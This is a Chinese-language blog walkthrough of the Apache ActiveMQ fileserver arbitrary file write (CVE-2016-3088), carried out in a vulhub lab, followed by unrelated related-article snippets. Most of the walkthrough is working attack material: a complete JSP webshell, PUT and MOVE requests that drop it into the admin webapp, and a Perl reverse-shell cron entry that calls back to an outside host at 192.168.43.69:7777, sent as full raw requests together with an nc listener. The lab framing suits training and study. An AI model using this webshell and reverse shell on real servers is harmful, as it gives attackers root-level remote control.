CVE-2016-3088(ActiveMQ任意文件写入漏洞)
漏洞描述
1、漏洞编号:CVE-2016-3088
2、影响版本:Apache ActiveMQ 5.x~5.13.0
在 Apache ActiveMQ 5.12.x~5.13.x 版本中,默认关闭了 fileserver 这个应用(不过,可以在conf/jetty.xml 中开启);在 5.14.0 版本后,彻底删除了 fileserver 应用。【所以在渗透测试过程中要确定好 ActiveMQ 的版本,免去无用功】
漏洞介绍
该漏洞出现在 fileserver 应用中,漏洞原理是 fileserver 支持写入文件(但不解析 jsp),同时支持移动文件(MOVE 请求)。所以我们只需写入一个文件,然后使用 MOVE 请求将其移动到任意位置,造成任意文件写入漏洞。
写入文件方法
- 写入 webshell
- 写入 cron 或 ssh key 等文件
- 写入 jar 或 jetty.xml 等库和配置文件
启动漏洞环境
docker-compose up -d

docker-compose ps

访问 WEB 页面,版本在漏洞影响范围内

方法一:写入 webshell
【该方法的使用条件】
1、需要知道 ActiveMQ 的绝对路径
2、需要能登录 admin 或者 api
【分析条件】
1、ActiveMQ 的绝对路径可以通过 http://your-ip:8161/admin/test/systemProperties.jsp 页面获取,不过该页面需要登录才能访问。
2、获取用户名和密码,可以通过弱口令、暴力破解、社工等方法(不过题目已经给出了默认用户名和密码 admin/admin,这里就省去了这个步骤)
【解题思路】
进入页面


下一步,上传 webshell
需要把 webshell 上传到 fileserver,然后才能从 fileserver 转移。因为 ActiveMQ 是个 java 程序,因此需要传个 jsp webshell
直接在上图页面抓包即可,下面是刚抓到包后的样子,接下来对数据包进行修改

这是我们的 webshell 代码
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
修改成下图所示,然后发送即可得到响应(204 表示操作成功)
然后在上面基础上继续修改该包,把 PUT 改成 MOVE ,然后在下一行添加
Destination: file:///opt/activemq/webapps/admin/1.jsp
用 MOVE 方法将 webshell 移动到 admin 所在文件夹,响应 204 表示操作成功

【当然了,移动到 api 下也是可以的,我这边移动到 admin 目录下】
接下来就可以使用蚁剑进行连接了【这里用的是 kali 中的蚁剑】
不知道 kali 中怎么使用蚁剑的看这里
VMware之kali安装中国蚁剑_kali如何打开蚁剑-CSDN博客

重点是记住 admin 应用是需要登录的,所以记得一定要在连接中添加 Authorization 头。

Authorization:YWRtaW46YWRtaW4=

测试连接,连接成功


方法二:写入 ssh key
【前提条件】
1、需要运行 ActiveMQ 的用户有 root 权限
2、需要服务器开启了 ssh 服务,并且攻击机可以连接
【分析条件】
1、

发现该用户是 root 权限,条件一满足
2、可以使用 nmap 工具来探测服务器是否开启了 ssh 且可达
nmap -sV your-ip -p-

发现只开启了 8161、61616 端口且可达,没有开启 ssh 服务,所以条件二不满足,写入 ssh key 的方法行不通
方法三:写入 cron 拿反弹 shell
【前提条件】
1、需要运行 ActiveMQ 的用户有 root 权限
2、服务器开启了 cron 服务
3、运行 ActiveMQ 的用户有使用 crontab 的权限
【拓展】
1、cron 是 Linux 系统的守护进程,用于在特定时间自动执行重复任务。
2、标准 shell 是攻击者作为客户端去连接目标服务器;反弹 shell 是攻击者作为服务器,监听某端 口,而目标设备作为客户端主动连接攻击者
应用场景:
①、目标机在局域网内
②、目标机 ip 地址是动态的
③、有防火墙等限制,目标机只能发请求,不能收请求
④、不确定目标机何时具备连接条件
【条件分析】
1、前面已经分析过了,确实是 root 权限
2、经过下列分析得到开启了 cron 服务(root 权限对该文件可读可写)



3、第三点条件默认情况是满足的,除非存在 cron.allow 或者 cron.deny 文件,但这两个文件在 vulhub 提供的漏洞环境中不存在,因此理论上可以写入 cron 拿反弹 shell
【cron.allow 文件和 cron.deny 文件】
cron.allow 和 cron.deny 是限制 crontab 命令使用的用户名单。allow 是允许使用 crontab 命令的用户,deny 是不允许使用 crontab 命令的用户。
两份文件不一定都存在,在 Linux 中,会做如下规定:
(1)如果 cron.allow 文件存在但 cron.deny 文件不存在,那么在文件中写下的用户名,允许执行 crontab 命令。
(2)如果 cron.deny 文件存在但 cron.allow 文件不存在,那么在文件中写下的用户名,不允许执行 crontab 命令。
(3)如果两份文件都存在,那么只有 allow 文件具备优先权,只能使用 allow 文件来做限定用户。
(4)如果两份文件都不存在,那么会根据相关配置文件(depending on site-dependent configuration parameters),要么只有 root 用户允许执行该命令,要么所有的用户都能执行该命令。
【解题思路】
1、上传 cron 文件到 fileserver
2、把 cron 文件从 fileserver 移动到 /etc/cron.d/
2、攻击机上开启监听并等待反弹 shell 连接
反弹shell的方法总结 - FreeBuf网络安全行业门户

【内容截取自:vulhub ActiveMQ任意文件写入漏洞 (CVE-2016-3088) - FreeBuf网络安全行业门户】
/etc/cron.d 攻略_51CTO博客_/etc/cron.hourly
反弹 shell 内容:
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
抓包上传
PUT /fileserver/cron.txt HTTP/1.1Host: 0.0.0.0:8161User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Basic YWRtaW46YWRtaW4=Connection: closeCookie: JSESSIONID=11siqqdhx6onj9w5jslkl7jizUpgrade-Insecure-Requests: 1Content-Length: 254*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.43.69";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'##

上传成功,移动文件到目标目录中
MOVE /fileserver/cron.txt HTTP/1.1Destination: file:///etc/cron.d/rootHost: 0.0.0.0:8161User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Basic YWRtaW46YWRtaW4=Connection: closeCookie: JSESSIONID=11siqqdhx6onj9w5jslkl7jizUpgrade-Insecure-Requests: 1Content-Length: 254*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.43.69";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'##

在终端输入
nc -l -p 7777
输入完后等待即可

可以做一些操作

方法四:修改 jetty.xml
【前提条件】
1、需要知道 ActiceMQ 的绝对路径
2、需要有 jetty.xml 的写权限
【分析】
使用该方法主要是来突破 admin 应用和 api 应用的访问控制权限。大概就是修改 jetty.xml 文件。使 admin 和 api 应用不用登录,然后写入webshell
(通过大佬的文章还提供了另一种思路:修改 jetty-realm.properties 文件中的用户密码,不过由于 jetty.xml 中限制了用户名,所以修改 jetty-realm.properties 文件的方法还需要一个前提是知道用户名,这个方法相对上面那个麻烦)
【完整的攻击思路】
1、获取 ActiveMQ 的绝对路径
2、上传修改后的 jetty.xml 文件到 fileserver
3、转移上传的 jetty.xml 文件到 ActiveMQ 的绝对路径 /conf/jetty.xml,覆盖原本的 jetty.xml 文件,目的是绕过 admin 和 api 的登录
4、上传 webshell 到 fileserver
5、转移 webshell 到 admin 或 api 的目录下
6、连接 webshell
【目前我也没成功,也没有找到有成功的文章,都是写理论上可行,有推荐的兄弟和我说一下】
相关文章:
CVE-2016-3088(ActiveMQ任意文件写入漏洞)
漏洞描述 1、漏洞编号:CVE-2016-3088 2、影响版本:Apache ActiveMQ 5.x~5.13.0 在 Apache ActiveMQ 5.12.x~5.13.x 版本中,默认关闭了 fileserver 这个应用(不过,可以在conf/jetty.xml 中开启);…...
270.【华为OD机试真题】字符串拼接(深度优先搜索(DFS)-JavaPythonC++JS实现)
🚀点击这里可直接跳转到本专栏,可查阅顶置最新的华为OD机试宝典~ 本专栏所有题目均包含优质解题思路,高质量解题代码(Java&Python&C++&JS分别实现),详细代码讲解,助你深入学习,深度掌握! 文章目录 一. 题目-字符串拼接二.解题思路三.题解代码Python题解代…...
线阵相机参数介绍之轴编码器控制
1.1 功能介绍 编码器是将检测对象的运动与相机拍摄取图相匹配的设备,也即检测对象运动一定距离,相机就拍摄一定行高的图像。 编码器会将检测对象的实际位移转换为固定数量电信号。例如:编码器的精度是2000p/r,该参数的含义是编码器每转一圈输…...
【JavaEE】_HTTP响应
目录 1. 首行 2. 报头header 3.空行 4. 正文body 1. 首行 响应首行:版本号状态码状态码描述; HTTP状态码描述了这次响应的结果(比如成功、失败,以及失败原因等); 1. HTTP状态码有: &#…...
SQL防止注入工具类,可能用于SQL注入的字符有哪些
SQL注入是一种攻击技术,攻击者试图通过在输入中注入恶意的SQL代码来干扰应用程序的数据库查询。为了防止SQL注入,你需要了解可能用于注入的一些常见字符和技术。以下是一些常见的SQL注入字符和技术: 单引号 : 攻击者可能会尝试…...
【数学建模入门】
数学建模入门 数学建模需要的学科知识怎么学习数学模型如何读好一篇优秀论文数学建模赛题常见类别数学建模常见问题数学建模组队和分工数学建模准备工作 数学建模需要的学科知识 怎么学习数学模型 💦推荐阅读书籍: 《数学建模算法与应用》,…...
ansible剧本中的角色
1 roles角色 1.1 roles角色的作用? 可以把playbook剧本里的各个play看作为一个角色,将各个角色打的tasks任务、vars变量、template模版和copy、script模块使用的相关文件等内容放置在指定角色的目录里统一管理,在需要的时候可在playbook中使…...
weblog项目开发记录--SpringBoot后端工程骨架
知识点查漏补缺 跟着犬小哈做项目实战时发现好多知识点都忘了,还有一些小的知识点可能之前没学过,记录下!顺带整理下开发流程。 完整项目学习见犬小哈实战专栏 SpringBoot后端工程骨架 搭建好的工程骨架中实现了很多基础功能,…...
axios封装终极版实现token无感刷新及全局loading
前言 关于axios全局loading的封装博主已经发过一次了,这次是在其基础上增加了token的无感刷新。 token无感刷新流程 首次登录的时候会获取到两个token(AccessToken,RefreshToken)持久化保存起来(localStorage方案&a…...
推荐一个内网穿透工具,支持Windows桌面、Linux、Arm平台客户端
神卓互联是一款常用的内网穿透工具,它可以将本地服务器映射到公网上,并提供域名或子域名给外部访问。神卓互联具有简单易用、高速稳定的特点,支持Windows桌面版、Linux版、Arm版客户端,以及硬件等。 神卓互联内网穿透技术简介 企…...
【linux】vim多行操作命令
文章目录 1. vim多行同时修改2. vim复制/移动多行3. vim删除多行4. vim设置缩进空格 回顾:vi/vim常用命令 1. vim多行同时修改 (1) ctrl v (2) 按 下箭头,选择多行 (3) shift i,…...
vue-router钩子函数有哪些?都有哪些参数?
Vue.js是一款流行的JavaScript框架,它提供了大量的工具和特性,使得web前端开发更加高效和灵活。其中之一就是Vue-router,它是Vue.js官方路由插件,可以实现前端路由的管理和控制。在使用Vue-router时,我们可以利用钩子函…...
基于JavaWeb开发的小区车辆登记系统计算机毕设[附源码]
基于JavaWeb开发的小区车辆登记系统计算机毕设[附源码] 🍅 作者主页 央顺技术团队 🍅 欢迎点赞 👍 收藏 ⭐留言 📝 🍅 文末获取源码联系方式 📝 🍅 查看下方微信号获取联系方式 承接各种定制系统…...
【开源】SpringBoot框架开发高校宿舍调配管理系统
目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能需求2.1 学生端2.2 宿管2.3 老师端 三、系统展示四、核心代码4.1 查询单条个人习惯4.2 查询我的室友4.3 查询宿舍4.4 查询指定性别全部宿舍4.5 初次分配宿舍 五、免责说明 一、摘要 1.1 项目介绍 基于JAVAVueSpringBootMySQL的…...
高压开关柜实现无线测温监测的关键点
一、概述 近年来,电厂自动化、信息化飞速发展,加快了对高压开关柜内的温度检测技术的研究。一系列的开关柜的无线测温监测技术也因此应运而生,并且发挥着越来越重要的作用。高压开关柜是发电厂、变电站、动力车间最重要的电气设备,…...
在线图片生成工具:定制化占位图片的利器
title: 在线图片生成工具:定制化占位图片的利器 date: 2024/2/20 14:08:16 updated: 2024/2/20 14:08:16 tags: 占位图片网页布局样式展示性能测试响应式设计在线生成开发工具 在现代的网页设计和开发中,占位图片扮演着重要的角色。占位图片是指在开发过…...
闭包----闭包的理解、优点
1、闭包的理解 闭包就是能够读取其他函数内部变量的函数。 由于在 javascript 中,只有函数内部的子函数才能读取局部变量,所以说,闭包可以简单理 解成 “ 定义在一个函数内部的函数 “ 。 所以,在本质上,闭包是将…...
jenkins的nmp install命令无法下载包
问题:在jenkin的流水线脚本中执行到:npm install命令后无法下载前端依赖包 1、进到jenkins的工作目录,一般在底层为/var/lib/jenkins/workspace/任务名称 cd /var/lib/jenkins/workspace/xkc处理方式: # 查看镜像源 npm config …...
Collection集合体系(ArrayList,LinekdList,HashSet,LinkedHashSet,TreeSet,Collections)
目录 一.Collection 二.List集合 三.ArrayList集合 四.LinkedList集合 五.Set集合 六.hashSet集合 七.LinkedHashSet集合 八.TreeSet集合 九.集合工具类Collections 集合体系概述 单列集合:Collection代表单列集合,每个元素&#…...
Job 和 DaemonSet
一、Job 1、Job 背景问题 K8s 里,最小的调度单元是 Pod,如果直接通过 Pod 来运行任务进程,会产生以下几种问题: ① 如何保证 Pod 内进程正确的结束? ② 如何保证进程运行失败后重试? ③ 如何管理多个任…...
TDengine 快速体验(Docker 镜像方式)
简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能,本节首先介绍如何通过 Docker 快速体验 TDengine,然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker,请使用 安装包的方式快…...
盘古信息PCB行业解决方案:以全域场景重构,激活智造新未来
一、破局:PCB行业的时代之问 在数字经济蓬勃发展的浪潮中,PCB(印制电路板)作为 “电子产品之母”,其重要性愈发凸显。随着 5G、人工智能等新兴技术的加速渗透,PCB行业面临着前所未有的挑战与机遇。产品迭代…...
剑指offer20_链表中环的入口节点
链表中环的入口节点 给定一个链表,若其中包含环,则输出环的入口节点。 若其中不包含环,则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...
【开发技术】.Net使用FFmpeg视频特定帧上绘制内容
目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法,当前调用一个医疗行业的AI识别算法后返回…...
深度学习习题2
1.如果增加神经网络的宽度,精确度会增加到一个特定阈值后,便开始降低。造成这一现象的可能原因是什么? A、即使增加卷积核的数量,只有少部分的核会被用作预测 B、当卷积核数量增加时,神经网络的预测能力会降低 C、当卷…...
【笔记】WSL 中 Rust 安装与测试完整记录
#工作记录 WSL 中 Rust 安装与测试完整记录 1. 运行环境 系统:Ubuntu 24.04 LTS (WSL2)架构:x86_64 (GNU/Linux)Rust 版本:rustc 1.87.0 (2025-05-09)Cargo 版本:cargo 1.87.0 (2025-05-06) 2. 安装 Rust 2.1 使用 Rust 官方安…...
腾讯云V3签名
想要接入腾讯云的Api,必然先按其文档计算出所要求的签名。 之前也调用过腾讯云的接口,但总是卡在签名这一步,最后放弃选择SDK,这次终于自己代码实现。 可能腾讯云翻新了接口文档,现在阅读起来,清晰了很多&…...
Golang——9、反射和文件操作
反射和文件操作 1、反射1.1、reflect.TypeOf()获取任意值的类型对象1.2、reflect.ValueOf()1.3、结构体反射 2、文件操作2.1、os.Open()打开文件2.2、方式一:使用Read()读取文件2.3、方式二:bufio读取文件2.4、方式三:os.ReadFile读取2.5、写…...
pikachu靶场通关笔记19 SQL注入02-字符型注入(GET)
目录 一、SQL注入 二、字符型SQL注入 三、字符型注入与数字型注入 四、源码分析 五、渗透实战 1、渗透准备 2、SQL注入探测 (1)输入单引号 (2)万能注入语句 3、获取回显列orderby 4、获取数据库名database 5、获取表名…...
嵌入式学习之系统编程(九)OSI模型、TCP/IP模型、UDP协议网络相关编程(6.3)
目录 一、网络编程--OSI模型 二、网络编程--TCP/IP模型 三、网络接口 四、UDP网络相关编程及主要函数 编辑编辑 UDP的特征 socke函数 bind函数 recvfrom函数(接收函数) sendto函数(发送函数) 五、网络编程之 UDP 用…...
